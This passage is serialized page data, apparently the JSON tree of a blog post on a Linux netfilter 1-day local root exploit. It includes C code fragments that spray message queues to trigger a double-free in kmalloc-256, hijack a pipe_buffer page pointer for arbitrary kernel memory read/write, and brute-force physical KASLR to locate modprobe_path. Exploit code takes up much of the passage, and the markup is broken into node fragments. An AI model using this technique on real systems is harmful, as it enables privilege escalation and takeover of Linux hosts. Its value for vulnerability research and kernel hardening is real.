i",{"type":20,"tag":315,"props":56050,"children":56051},{"style":334},[56052],{"type":26,"value":49521},{"type":20,"tag":315,"props":56054,"children":56055},{"style":328},[56056],{"type":26,"value":380},{"type":20,"tag":315,"props":56058,"children":56059},{"class":317,"line":407},[56060],{"type":20,"tag":315,"props":56061,"children":56062},{"style":328},[56063],{"type":26,"value":27602},{"type":20,"tag":315,"props":56065,"children":56066},{"class":317,"line":421},[56067,56072,56076,56080,56085,56090,56095,56099],{"type":20,"tag":315,"props":56068,"children":56069},{"style":635},[56070],{"type":26,"value":56071}," qid",{"type":20,"tag":315,"props":56073,"children":56074},{"style":328},[56075],{"type":26,"value":52848},{"type":20,"tag":315,"props":56077,"children":56078},{"style":334},[56079],{"type":26,"value":337},{"type":20,"tag":315,"props":56081,"children":56082},{"style":345},[56083],{"type":26,"value":56084}," msgget",{"type":20,"tag":315,"props":56086,"children":56087},{"style":328},[56088],{"type":26,"value":56089},"(IPC_PRIVATE, ",{"type":20,"tag":315,"props":56091,"children":56092},{"style":765},[56093],{"type":26,"value":56094},"0666",{"type":20,"tag":315,"props":56096,"children":56097},{"style":334},[56098],{"type":26,"value":2665},{"type":20,"tag":315,"props":56100,"children":56101},{"style":328},[56102],{"type":26,"value":56103}," IPC_CREAT);\n",{"type":20,"tag":315,"props":56105,"children":56106},{"class":317,"line":430},[56107,56111,56115,56120,56124,56128,56132],{"type":20,"tag":315,"props":56108,"children":56109},{"style":525},[56110],{"type":26,"value":1654},{"type":20,"tag":315,"props":56112,"children":56113},{"style":328},[56114],{"type":26,"value":463},{"type":20,"tag":315,"props":56116,"children":56117},{"style":635},[56118],{"type":26,"value":56119},"qid",{"type":20,"tag":315,"props":56121,"children":56122},{"style":328},[56123],{"type":26,"value":52848},{"type":20,"tag":315,"props":56125,"children":56126},{"style":334},[56127],{"type":26,"value":4199},{"type":20,"tag":315,"props":56129,"children":56130},{"style":765},[56131],{"type":26,"value":985},{"type":20,"tag":315,"props":56133,"children":56134},{"style":328},[56135],{"type":26,"value":380},{"type":20,"tag":315,"props":56137,"children":56138},{"class":317,"line":453},[56139],{"type":20,"tag":315,"props":56140,"children":56141},{"style":328},[56142],{"type":26,"value":30074},{"type":20,"tag":315,"props":56144,"children":56145},{"class":317,"line":486},[56146,56151,56155,56160],{"type":20,"tag":315,"props":56147,"children":56148},{"style":345},[56149],{"type":26,"value":56150}," perror",{"type":20,"tag":315,"props":56152,"children":56153},{"style":328},[56154],{"type":26,"value":1049},{"type":20,"tag":315,"props":56156,"children":56157},{"style":2652},[56158],{"type":26,"value":56159},"\"[-] msgget\"",{"type":20,"tag":315,"props":56161,"children":56162},{"style":328},[56163],{"type":26,"value":2214},{"type":20,"tag":315,"props":56165,"children":56166},{"class":317,"line":499},[56167],{"type":20,"tag":315,"props":56168,"children":56169},{"style":328},[56170],{"type":26,"value":1728},{"type":20,"tag":315,"props":56172,"children":56173},{"class":317,"line":513},[56174,56178,56182,56187,56191,56195,56200,56204,56209,56213],{"type":20,"tag":315,"props":56175,"children":56176},{"style":334},[56177],{"type":26,"value":6147},{"type":20,"tag":315,"props":56179,"children":56180},{"style":328},[56181],{"type":26,"value":1049},{"type":20,"tag":315,"props":56183,"children":56184},{"style":541},[56185],{"type":26,"value":56186},"uint32_t",{"type":20,"tag":315,"props":56188,"children":56189},{"style":334},[56190],{"type":26,"value":8216},{"type":20,"tag":315,"props":56192,"children":56193},{"style":328},[56194],{"type":26,"value":1509},{"type":20,"tag":315,"props":56196,"children":56197},{"style":635},[56198],{"type":26,"value":56199},"msg",{"type":20,"tag":315,"props":56201,"children":56202},{"style":328},[56203],{"type":26,"value":12158},{"type":20,"tag":315,"props":56205,"children":56206},{"style":635},[56207],{"type":26,"value":56208},"mtext",{"type":20,"tag":315,"props":56210,"children":56211},{"style":334},[56212],{"type":26,"value":1395},{"type":20,"tag":315,"props":56214,"children":56215},{"style":328},[56216],{"type":26,"value":56217}," i;\n",{"type":20,"tag":315,"props":56219,"children":56220},{"class":317,"line":521},[56221,56225,56229,56233,56237,56241,56245,56249,56253,56257,56261,56265,56269,56273,56278],{"type":20,"tag":315,"props":56222,"children":56223},{"style":334},[56224],{"type":26,"value":6147},{"type":20,"tag":315,"props":56226,"children":56227},{"style":328},[56228],{"type":26,"value":1049},{"type":20,"tag":315,"props":56230,"children":56231},{"style":541},[56232],{"type":26,"value":53887},{"type":20,"tag":315,"props":56234,"children":56235},{"style":334},[56236],{"type":26,"value":8216},{"type":20,"tag":315,"props":56238,"children":56239},{"style":328},[56240],{"type":26,"value":1509},{"type":20,"tag":315,"props":56242,"children":56243},{"style":334},[56244],{"type":26,"value":1490},{"type":20,"tag":315,"props":56246,"children":56247},{"style":635},[56248],{"type":26,"value":56199},{"type":20,"tag":315,"props":56250,"children":56251},{"style":328},[56252],{"type":26,"value":12158},{"type":20,"tag":315,"props":56254,"children":56255},{"style":635},[56256],{"type":26,"value":56208},{"type":20,"tag":315,"props":56258,"children":56259},{"style":328},[56260],{"type":26,"value":2117},{"type":20,"tag":315,"props":56262,"children":56263},{"style":765},[56264],{"type":26,"value":2469},{"type":20,"tag":315,"props":56266,"children":56267},{"style":328},[56268],{"type":26,"value":7057},{"type":20,"tag":315,"props":56270,"children":56271},{"style":334},[56272],{"type":26,"value":337},{"type":20,"tag":315,"props":56274,"children":56275},{"style":765},[56276],{"type":26,"value":56277}," 0xdeadbeefcafebabe",{"type":20,"tag":315,"props":56279,"children":56280},{"style":328},[56281],{"type":26,"value":1405},{"type":20,"tag":315,"props":56283,"children":56284},{"class":317,"line":552},[56285,56290,56294,56299,56303],{"type":20,"tag":315,"props":56286,"children":56287},{"style":635},[56288],{"type":26,"value":56289}," msg",{"type":20,"tag":315,"props":56291,"children":56292},{"style":328},[56293],{"type":26,"value":12158},{"type":20,"tag":315,"props":56295,"children":56296},{"style":635},[56297],{"type":26,"value":56298},"mtype",{"type":20,"tag":315,"props":56300,"children":56301},{"style":334},[56302],{"type":26,"value":1395},{"type":20,"tag":315,"props":56304,"children":56305},{"style":328},[56306],{"type":26,"value":56307}," MTYPE_PRIMARY;\n",{"type":20,"tag":315,"props":56309,"children":56310},{"class":317,"line":571},[56311,56316,56320,56324,56329,56333,56337,56342,56346,56350],{"type":20,"tag":315,"props":56312,"children":56313},{"style":345},[56314],{"type":26,"value":56315}," msgsnd",{"type":20,"tag":315,"props":56317,"children":56318},{"style":328},[56319],{"type":26,"value":1049},{"type":20,"tag":315,"props":56321,"children":56322},{"style":635},[56323],{"type":26,"value":56119},{"type":20,"tag":315,"props":56325,"children":56326},{"style":328},[56327],{"type":26,"value":56328},"[i], msg, ",{"type":20,"tag":315,"props":56330,"children":56331},{"style":765},[56332],{"type":26,"value":54224},{"type":20,"tag":315,"props":56334,"children":56335},{"style":334},[56336],{"type":26,"value":49507},{"type":20,"tag":315,"props":56338,"children":56339},{"style":765},[56340],{"type":26,"value":56341}," 48",{"type":20,"tag":315,"props":56343,"children":56344},{"style":328},[56345],{"type":26,"value":44},{"type":20,"tag":315,"props":56347,"children":56348},{"style":765},[56349],{"type":26,"value":1063},{"type":20,"tag":315,"props":56351,"children":56352},{"style":328},[56353],{"type":26,"value":2214},{"type":20,"tag":315,"props":56355,"children":56356},{"class":317,"line":2031},[56357,56361,56365,56369,56373],{"type":20,"tag":315,"props":56358,"children":56359},{"style":635},[56360],{"type":26,"value":56289},{"type":20,"tag":315,"props":56362,"children":56363},{"style":328},[56364],{"type":26,"value":12158},{"type":20,"tag":315,"props":56366,"children":56367},{"style":635},[56368],{"type":26,"value":56298},{"type":20,"tag":315,"props":56370,"children":56371},{"style":334},[56372],{"type":26,"value":1395},{"type":20,"tag":315,"props":56374,"children":56375},{"style":328},[56376],{"type":26,"value":56377}," MTYPE_SECONDARY;\n",{"type":20,"tag":315,"props":56379,"children":56380},{"class":317,"line":2053},[56381,56385,56389,56393,56397,56402,56406,56410,56414,56418],{"type":20,"tag":315,"props":56382,"children":56383},{"style":345},[56384],{"type":26,"value":56315},{"type":20,"tag":315,"props":56386,"children":56387},{"style":328},[56388],{"type":26,"value":1049},{"type":20,"tag":315,"props":56390,"children":56391},{"style":635},[56392],{"type":26,"value":56119},{"type":20,"tag":315,"props":56394,"children":56395},{"style":328},[56396],{"type":26,"value":56328},{"type":20,"tag":315,"props":56398,"children":56399},{"style":765},[56400],{"type":26,"value":56401},"1024",{"type":20,"tag":315,"props":56403,"children":56404},{"style":334},[56405],{"type":26,"value":49507},{"type":20,"tag":315,"props":56407,"children":56408},{"style":765},[56409],{"type":26,"value":56341},{"type":20,"tag":315,"props":56411,"children":56412},{"style":328},[56413],{"type":26,"value":44},{"type":20,"tag":315,"props":56415,"children":56416},{"style":765},[56417],{"type":26,"value":1063},{"type":20,"tag":315,"props":56419,"children":56420},{"style":328},[56421],{"type":26,"value":2214},{"type":20,"tag":315,"props":56423,"children":56424},{"class":317,"line":2061},[56425],{"type":20,"tag":315,"props":56426,"children":56427},{"style":328},[56428],{"type":26,"value":1736},{"type":20,"tag":315,"props":56430,"children":56431},{"class":317,"line":2070},[56432],{"type":20,"tag":315,"props":56433,"children":56434},{"style":1071},[56435],{"type":26,"value":56436}," // Prepare evil msg\n",{"type":20,"tag":315,"props":56438,"children":56439},{"class":317,"line":2139},[56440,56444,56449,56453,56457,56461,56465,56469],{"type":20,"tag":315,"props":56441,"children":56442},{"style":541},[56443],{"type":26,"value":17481},{"type":20,"tag":315,"props":56445,"children":56446},{"style":328},[56447],{"type":26,"value":56448}," evilqid ",{"type":20,"tag":315,"props":56450,"children":56451},{"style":334},[56452],{"type":26,"value":337},{"type":20,"tag":315,"props":56454,"children":56455},{"style":345},[56456],{"type":26,"value":56084},{"type":20,"tag":315,"props":56458,"children":56459},{"style":328},[56460],{"type":26,"value":56089},{"type":20,"tag":315,"props":56462,"children":56463},{"style":765},[56464],{"type":26,"value":56094},{"type":20,"tag":315,"props":56466,"children":56467},{"style":334},[56468],{"type":26,"value":2665},{"type":20,"tag":315,"props":56470,"children":56471},{"style":328},[56472],{"type":26,"value":56103},{"type":20,"tag":315,"props":56474,"children":56475},{"class":317,"line":2147},[56476,56480,56485,56489,56493],{"type":20,"tag":315,"props":56477,"children":56478},{"style":525},[56479],{"type":26,"value":10680},{"type":20,"tag":315,"props":56481,"children":56482},{"style":328},[56483],{"type":26,"value":56484}," (evilqid ",{"type":20,"tag":315,"props":56486,"children":56487},{"style":334},[56488],{"type":26,"value":4199},{"type":20,"tag":315,"props":56490,"children":56491},{"style":765},[56492],{"type":26,"value":985},{"type":20,"tag":315,"props":56494,"children":56495},{"style":328},[56496],{"type":26,"value":380},{"type":20,"tag":315,"props":56498,"children":56499},{"class":317,"line":2177},[56500],{"type":20,"tag":315,"props":56501,"children":56502},{"style":328},[56503],{"type":26,"value":27602},{"type":20,"tag":315,"props":56505,"children":56506},{"class":317,"line":2185},[56507,56512,56516,56520],{"type":20,"tag":315,"props":56508,"children":56509},{"style":345},[56510],{"type":26,"value":56511}," perror",{"type":20,"tag":315,"props":56513,"children":56514},{"style":328},[56515],{"type":26,"value":1049},{"type":20,"tag":315,"props":56517,"children":56518},{"style":2652},[56519],{"type":26,"value":56159},{"type":20,"tag":315,"props":56521,"children":56522},{"style":328},[56523],{"type":26,"value":2214},{"type":20,"tag":315,"props":56525,"children":56526},{"class":317,"line":2217},[56527],{"type":20,"tag":315,"props":56528,"children":56529},{"style":328},[56530],{"type":26,"value":1736},{"type":20,"tag":315,"props":56532,"children":56533},{"class":317,"line":2225},[56534],{"type":20,"tag":315,"props":56535,"children":56536},{"style":328},[56537],{"type":26,"value":56538},"[...] // trigger double-free in kmalloc-256\n",{"type":20,"tag":219,"props":56540,"children":56542},{"id":56541},"using-pipe_buffer-page-pointer-for-physical-readwrite",[56543],{"type":26,"value":56544},"Using pipe_buffer->page pointer for physical read/write",{"type":20,"tag":29,"props":56546,"children":56547},{},[56548,56550,56556,56557,56563,56564,56570,56572,56578],{"type":26,"value":56549},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":20,"tag":119,"props":56551,"children":56553},{"className":56552},[],[56554],{"type":26,"value":56555},"kmalloc-1k",{"type":26,"value":9392},{"type":20,"tag":119,"props":56558,"children":56560},{"className":56559},[],[56561],{"type":26,"value":56562},"overlap pipe_buffer",{"type":26,"value":19908},{"type":20,"tag":119,"props":56565,"children":56567},{"className":56566},[],[56568],{"type":26,"value":56569},"skbuf",{"type":26,"value":56571}," data to control the ",{"type":20,"tag":119,"props":56573,"children":56575},{"className":56574},[],[56576],{"type":26,"value":56577},"page",{"type":26,"value":56579}," field.",{"type":20,"tag":29,"props":56581,"children":56582},{},[56583,56584,56589,56591,56597,56599],{"type":26,"value":15015},{"type":20,"tag":119,"props":56585,"children":56587},{"className":56586},[],[56588],{"type":26,"value":56577},{"type":26,"value":56590}," field is a pointer into ",{"type":20,"tag":119,"props":56592,"children":56594},{"className":56593},[],[56595],{"type":26,"value":56596},"vmemmap_base",{"type":26,"value":56598},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":20,"tag":2308,"props":56600,"children":56602},{"alt":48830,"src":56601},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":20,"tag":29,"props":56604,"children":56605},{},[56606,56608,56613],{"type":26,"value":56607},"This now allows us to navigate the ",{"type":20,"tag":119,"props":56609,"children":56611},{"className":56610},[],[56612],{"type":26,"value":56596},{"type":26,"value":56614}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":20,"tag":219,"props":56616,"children":56618},{"id":56617},"bruteforce-physical-kernel-base",[56619],{"type":26,"value":56620},"Bruteforce physical kernel base",{"type":20,"tag":29,"props":56622,"children":56623},{},[56624,56626,56632,56634,56639,56641,56647],{"type":26,"value":56625},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":20,"tag":119,"props":56627,"children":56629},{"className":56628},[],[56630],{"type":26,"value":56631},"modprobe_path",{"type":26,"value":56633},". Keep in mind that simply searching page by page from the start of ",{"type":20,"tag":119,"props":56635,"children":56637},{"className":56636},[],[56638],{"type":26,"value":56596},{"type":26,"value":56640}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":20,"tag":119,"props":56642,"children":56644},{"className":56643},[],[56645],{"type":26,"value":56646},"PHYSICAL_ALIGN",{"type":26,"value":56648}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":20,"tag":305,"props":56650,"children":56652},{"className":27525,"code":56651,"language":27527,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[56653],{"type":20,"tag":119,"props":56654,"children":56655},{"__ignoreMap":7},[56656,56663,56671,56679,56703,56736,56756,56796,56803,56847,56881,56908,56944,56951,56997,57004,57034,57047,57112,57119,57131,57139,57146,57153,57179,57186,57206,57218,57225,57232,57239],{"type":20,"tag":315,"props":56657,"children":56658},{"class":317,"line":318},[56659],{"type":20,"tag":315,"props":56660,"children":56661},{"style":328},[56662],{"type":26,"value":8718},{"type":20,"tag":315,"props":56664,"children":56665},{"class":317,"line":356},[56666],{"type":20,"tag":315,"props":56667,"children":56668},{"style":328},[56669],{"type":26,"value":56670},"// Bruteforce phys-KASLR\n",{"type":20,"tag":315,"props":56672,"children":56673},{"class":317,"line":365},[56674],{"type":20,"tag":315,"props":56675,"children":56676},{"style":328},[56677],{"type":26,"value":56678}," uint64_t kernel_base;\n",{"type":20,"tag":315,"props":56680,"children":56681},{"class":317,"line":374},[56682,56686,56691,56695,56699],{"type":20,"tag":315,"props":56683,"children":56684},{"style":541},[56685],{"type":26,"value":667},{"type":20,"tag":315,"props":56687,"children":56688},{"style":328},[56689],{"type":26,"value":56690}," found ",{"type":20,"tag":315,"props":56692,"children":56693},{"style":334},[56694],{"type":26,"value":337},{"type":20,"tag":315,"props":56696,"children":56697},{"style":541},[56698],{"type":26,"value":7455},{"type":20,"tag":315,"props":56700,"children":56701},{"style":328},[56702],{"type":26,"value":1405},{"type":20,"tag":315,"props":56704,"children":56705},{"class":317,"line":383},[56706,56711,56715,56720,56724,56728,56732],{"type":20,"tag":315,"props":56707,"children":56708},{"style":541},[56709],{"type":26,"value":56710}," uint8_t",{"type":20,"tag":315,"props":56712,"children":56713},{"style":635},[56714],{"type":26,"value":13505},{"type":20,"tag":315,"props":56716,"children":56717},{"style":328},[56718],{"type":26,"value":56719},"[PAGE_SIZE] ",{"type":20,"tag":315,"props":56721,"children":56722},{"style":334},[56723],{"type":26,"value":337},{"type":20,"tag":315,"props":56725,"children":56726},{"style":328},[56727],{"type":26,"value":43639},{"type":20,"tag":315,"props":56729,"children":56730},{"style":765},[56731],{"type":26,"value":1063},{"type":20,"tag":315,"props":56733,"children":56734},{"style":328},[56735],{"type":26,"value":14979},{"type":20,"tag":315,"props":56737,"children":56738},{"class":317,"line":407},[56739,56743,56747,56752],{"type":20,"tag":315,"props":56740,"children":56741},{"style":345},[56742],{"type":26,"value":53759},{"type":20,"tag":315,"props":56744,"children":56745},{"style":328},[56746],{"type":26,"value":1049},{"type":20,"tag":315,"props":56748,"children":56749},{"style":2652},[56750],{"type":26,"value":56751},"\"[*] bruteforce phys-KASLR\"",{"type":20,"tag":315,"props":56753,"children":56754},{"style":328},[56755],{"type":26,"value":2214},{"type":20,"tag":315,"props":56757,"children":56758},{"class":317,"line":421},[56759,56763,56767,56771,56775,56779,56783,56788,56792],{"type":20,"tag":315,"props":56760,"children":56761},{"style":525},[56762],{"type":26,"value":1413},{"type":20,"tag":315,"props":56764,"children":56765},{"style":328},[56766],{"type":26,"value":463},{"type":20,"tag":315,"props":56768,"children":56769},{"style":541},[56770],{"type":26,"value":53887},{"type":20,"tag":315,"props":56772,"children":56773},{"style":328},[56774],{"type":26,"value":52796},{"type":20,"tag":315,"props":56776,"children":56777},{"style":334},[56778],{"type":26,"value":337},{"type":20,"tag":315,"props":56780,"children":56781},{"style":765},[56782],{"type":26,"value":985},{"type":20,"tag":315,"props":56784,"children":56785},{"style":328},[56786],{"type":26,"value":56787},";; i",{"type":20,"tag":315,"props":56789,"children":56790},{"style":334},[56791],{"type":26,"value":49521},{"type":20,"tag":315,"props":56793,"children":56794},{"style":328},[56795],{"type":26,"value":380},{"type":20,"tag":315,"props":56797,"children":56798},{"class":317,"line":430},[56799],{"type":20,"tag":315,"props":56800,"children":56801},{"style":328},[56802],{"type":26,"value":27602},{"type":20,"tag":315,"props":56804,"children":56805},{"class":317,"line":453},[56806,56811,56815,56820,56824,56829,56833,56838,56842],{"type":20,"tag":315,"props":56807,"children":56808},{"style":328},[56809],{"type":26,"value":56810}," kernel_base ",{"type":20,"tag":315,"props":56812,"children":56813},{"style":334},[56814],{"type":26,"value":337},{"type":20,"tag":315,"props":56816,"children":56817},{"style":765},[56818],{"type":26,"value":56819}," 0x40",{"type":20,"tag":315,"props":56821,"children":56822},{"style":334},[56823],{"type":26,"value":8216},{"type":20,"tag":315,"props":56825,"children":56826},{"style":328},[56827],{"type":26,"value":56828}," ((PHYSICAL_ALIGN ",{"type":20,"tag":315,"props":56830,"children":56831},{"style":334},[56832],{"type":26,"value":901},{"type":20,"tag":315,"props":56834,"children":56835},{"style":328},[56836],{"type":26,"value":56837}," i) ",{"type":20,"tag":315,"props":56839,"children":56840},{"style":334},[56841],{"type":26,"value":11161},{"type":20,"tag":315,"props":56843,"children":56844},{"style":328},[56845],{"type":26,"value":56846}," PAGE_SHIFT);\n",{"type":20,"tag":315,"props":56848,"children":56849},{"class":317,"line":486},[56850,56855,56859,56863,56867,56872,56876],{"type":20,"tag":315,"props":56851,"children":56852},{"style":635},[56853],{"type":26,"value":56854}," pipebuf",{"type":20,"tag":315,"props":56856,"children":56857},{"style":328},[56858],{"type":26,"value":12158},{"type":20,"tag":315,"props":56860,"children":56861},{"style":635},[56862],{"type":26,"value":56577},{"type":20,"tag":315,"props":56864,"children":56865},{"style":334},[56866],{"type":26,"value":1395},{"type":20,"tag":315,"props":56868,"children":56869},{"style":328},[56870],{"type":26,"value":56871}," vmemmap_base ",{"type":20,"tag":315,"props":56873,"children":56874},{"style":334},[56875],{"type":26,"value":817},{"type":20,"tag":315,"props":56877,"children":56878},{"style":328},[56879],{"type":26,"value":56880}," kernel_base;\n",{"type":20,"tag":315,"props":56882,"children":56883},{"class":317,"line":499},[56884,56888,56892,56896,56900,56904],{"type":20,"tag":315,"props":56885,"children":56886},{"style":635},[56887],{"type":26,"value":56854},{"type":20,"tag":315,"props":56889,"children":56890},{"style":328},[56891],{"type":26,"value":12158},{"type":20,"tag":315,"props":56893,"children":56894},{"style":635},[56895],{"type":26,"value":12302},{"type":20,"tag":315,"props":56897,"children":56898},{"style":334},[56899],{"type":26,"value":1395},{"type":20,"tag":315,"props":56901,"children":56902},{"style":765},[56903],{"type":26,"value":985},{"type":20,"tag":315,"props":56905,"children":56906},{"style":328},[56907],{"type":26,"value":1405},{"type":20,"tag":315,"props":56909,"children":56910},{"class":317,"line":513},[56911,56915,56919,56923,56927,56932,56936,56940],{"type":20,"tag":315,"props":56912,"children":56913},{"style":635},[56914],{"type":26,"value":56854},{"type":20,"tag":315,"props":56916,"children":56917},{"style":328},[56918],{"type":26,"value":12158},{"type":20,"tag":315,"props":56920,"children":56921},{"style":635},[56922],{"type":26,"value":7537},{"type":20,"tag":315,"props":56924,"children":56925},{"style":334},[56926],{"type":26,"value":1395},{"type":20,"tag":315,"props":56928,"children":56929},{"style":328},[56930],{"type":26,"value":56931}," PAGE_SIZE ",{"type":20,"tag":315,"props":56933,"children":56934},{"style":334},[56935],{"type":26,"value":817},{"type":20,"tag":315,"props":56937,"children":56938},{"style":765},[56939],{"type":26,"value":2916},{"type":20,"tag":315,"props":56941,"children":56942},{"style":328},[56943],{"type":26,"value":1405},{"type":20,"tag":315,"props":56945,"children":56946},{"class":317,"line":521},[56947],{"type":20,"tag":315,"props":56948,"children":56949},{"style":328},[56950],{"type":26,"value":8718},{"type":20,"tag":315,"props":56952,"children":56953},{"class":317,"line":552},[56954,56959,56963,56967,56971,56975,56980,56984,56989,56993],{"type":20,"tag":315,"props":56955,"children":56956},{"style":328},[56957],{"type":26,"value":56958}," for (",{"type":20,"tag":315,"props":56960,"children":56961},{"style":541},[56962],{"type":26,"value":17451},{"type":20,"tag":315,"props":56964,"children":56965},{"style":635},[56966],{"type":26,"value":7019},{"type":20,"tag":315,"props":56968,"children":56969},{"style":334},[56970],{"type":26,"value":1395},{"type":20,"tag":315,"props":56972,"children":56973},{"style":765},[56974],{"type":26,"value":985},{"type":20,"tag":315,"props":56976,"children":56977},{"style":328},[56978],{"type":26,"value":56979},"; j ",{"type":20,"tag":315,"props":56981,"children":56982},{"style":334},[56983],{"type":26,"value":4199},{"type":20,"tag":315,"props":56985,"children":56986},{"style":328},[56987],{"type":26,"value":56988}," PIPE_SPRAY; j",{"type":20,"tag":315,"props":56990,"children":56991},{"style":334},[56992],{"type":26,"value":49521},{"type":20,"tag":315,"props":56994,"children":56995},{"style":328},[56996],{"type":26,"value":380},{"type":20,"tag":315,"props":56998,"children":56999},{"class":317,"line":571},[57000],{"type":20,"tag":315,"props":57001,"children":57002},{"style":328},[57003],{"type":26,"value":30074},{"type":20,"tag":315,"props":57005,"children":57006},{"class":317,"line":2031},[57007,57012,57016,57020,57025,57029],{"type":20,"tag":315,"props":57008,"children":57009},{"style":345},[57010],{"type":26,"value":57011}," memset",{"type":20,"tag":315,"props":57013,"children":57014},{"style":328},[57015],{"type":26,"value":1049},{"type":20,"tag":315,"props":57017,"children":57018},{"style":334},[57019],{"type":26,"value":1490},{"type":20,"tag":315,"props":57021,"children":57022},{"style":328},[57023],{"type":26,"value":57024},"data, ",{"type":20,"tag":315,"props":57026,"children":57027},{"style":765},[57028],{"type":26,"value":1063},{"type":20,"tag":315,"props":57030,"children":57031},{"style":328},[57032],{"type":26,"value":57033},", PAGE_SIZE);\n",{"type":20,"tag":315,"props":57035,"children":57036},{"class":317,"line":2053},[57037,57042],{"type":20,"tag":315,"props":57038,"children":57039},{"style":541},[57040],{"type":26,"value":57041}," int",{"type":20,"tag":315,"props":57043,"children":57044},{"style":328},[57045],{"type":26,"value":57046}," count;\n",{"type":20,"tag":315,"props":57048,"children":57049},{"class":317,"line":2061},[57050,57055,57060,57064,57069,57073,57078,57083,57087,57091,57095,57100,57104,57108],{"type":20,"tag":315,"props":57051,"children":57052},{"style":525},[57053],{"type":26,"value":57054}," if",{"type":20,"tag":315,"props":57056,"children":57057},{"style":328},[57058],{"type":26,"value":57059}," (count ",{"type":20,"tag":315,"props":57061,"children":57062},{"style":334},[57063],{"type":26,"value":337},{"type":20,"tag":315,"props":57065,"children":57066},{"style":345},[57067],{"type":26,"value":57068}," read",{"type":20,"tag":315,"props":57070,"children":57071},{"style":328},[57072],{"type":26,"value":1049},{"type":20,"tag":315,"props":57074,"children":57075},{"style":635},[57076],{"type":26,"value":57077},"pfd",{"type":20,"tag":315,"props":57079,"children":57080},{"style":328},[57081],{"type":26,"value":57082},"[j][",{"type":20,"tag":315,"props":57084,"children":57085},{"style":765},[57086],{"type":26,"value":1063},{"type":20,"tag":315,"props":57088,"children":57089},{"style":328},[57090],{"type":26,"value":21465},{"type":20,"tag":315,"props":57092,"children":57093},{"style":334},[57094],{"type":26,"value":1490},{"type":20,"tag":315,"props":57096,"children":57097},{"style":328},[57098],{"type":26,"value":57099},"data, PAGE_SIZE) ",{"type":20,"tag":315,"props":57101,"children":57102},{"style":334},[57103],{"type":26,"value":4199},{"type":20,"tag":315,"props":57105,"children":57106},{"style":765},[57107],{"type":26,"value":985},{"type":20,"tag":315,"props":57109,"children":57110},{"style":328},[57111],{"type":26,"value":380},{"type":20,"tag":315,"props":57113,"children":57114},{"class":317,"line":2070},[57115],{"type":20,"tag":315,"props":57116,"children":57117},{"style":328},[57118],{"type":26,"value":30110},{"type":20,"tag":315,"props":57120,"children":57121},{"class":317,"line":2139},[57122,57127],{"type":20,"tag":315,"props":57123,"children":57124},{"style":525},[57125],{"type":26,"value":57126}," continue",{"type":20,"tag":315,"props":57128,"children":57129},{"style":328},[57130],{"type":26,"value":1405},{"type":20,"tag":315,"props":57132,"children":57133},{"class":317,"line":2147},[57134],{"type":20,"tag":315,"props":57135,"children":57136},{"style":328},[57137],{"type":26,"value":57138}," }\n",{"type":20,"tag":315,"props":57140,"children":57141},{"class":317,"line":2177},[57142],{"type":20,"tag":315,"props":57143,"children":57144},{"style":328},[57145],{"type":26,"value":8718},{"type":20,"tag":315,"props":57147,"children":57148},{"class":317,"line":2185},[57149],{"type":20,"tag":315,"props":57150,"children":57151},{"emptyLinePlaceholder":15},[57152],{"type":26,"value":427},{"type":20,"tag":315,"props":57154,"children":57155},{"class":317,"line":2217},[57156,57161,57166,57170,57174],{"type":20,"tag":315,"props":57157,"children":57158},{"style":328},[57159],{"type":26,"value":57160}," if (",{"type":20,"tag":315,"props":57162,"children":57163},{"style":322},[57164],{"type":26,"value":57165},"is_kernel_base",{"type":20,"tag":315,"props":57167,"children":57168},{"style":328},[57169],{"type":26,"value":1049},{"type":20,"tag":315,"props":57171,"children":57172},{"style":322},[57173],{"type":26,"value":2085},{"type":20,"tag":315,"props":57175,"children":57176},{"style":328},[57177],{"type":26,"value":57178},")) // [1] identify kernel base\n",{"type":20,"tag":315,"props":57180,"children":57181},{"class":317,"line":2225},[57182],{"type":20,"tag":315,"props":57183,"children":57184},{"style":328},[57185],{"type":26,"value":30110},{"type":20,"tag":315,"props":57187,"children":57188},{"class":317,"line":2285},[57189,57194,57198,57202],{"type":20,"tag":315,"props":57190,"children":57191},{"style":328},[57192],{"type":26,"value":57193}," found ",{"type":20,"tag":315,"props":57195,"children":57196},{"style":334},[57197],{"type":26,"value":337},{"type":20,"tag":315,"props":57199,"children":57200},{"style":541},[57201],{"type":26,"value":544},{"type":20,"tag":315,"props":57203,"children":57204},{"style":328},[57205],{"type":26,"value":1405},{"type":20,"tag":315,"props":57207,"children":57208},{"class":317,"line":7444},[57209,57214],{"type":20,"tag":315,"props":57210,"children":57211},{"style":525},[57212],{"type":26,"value":57213}," 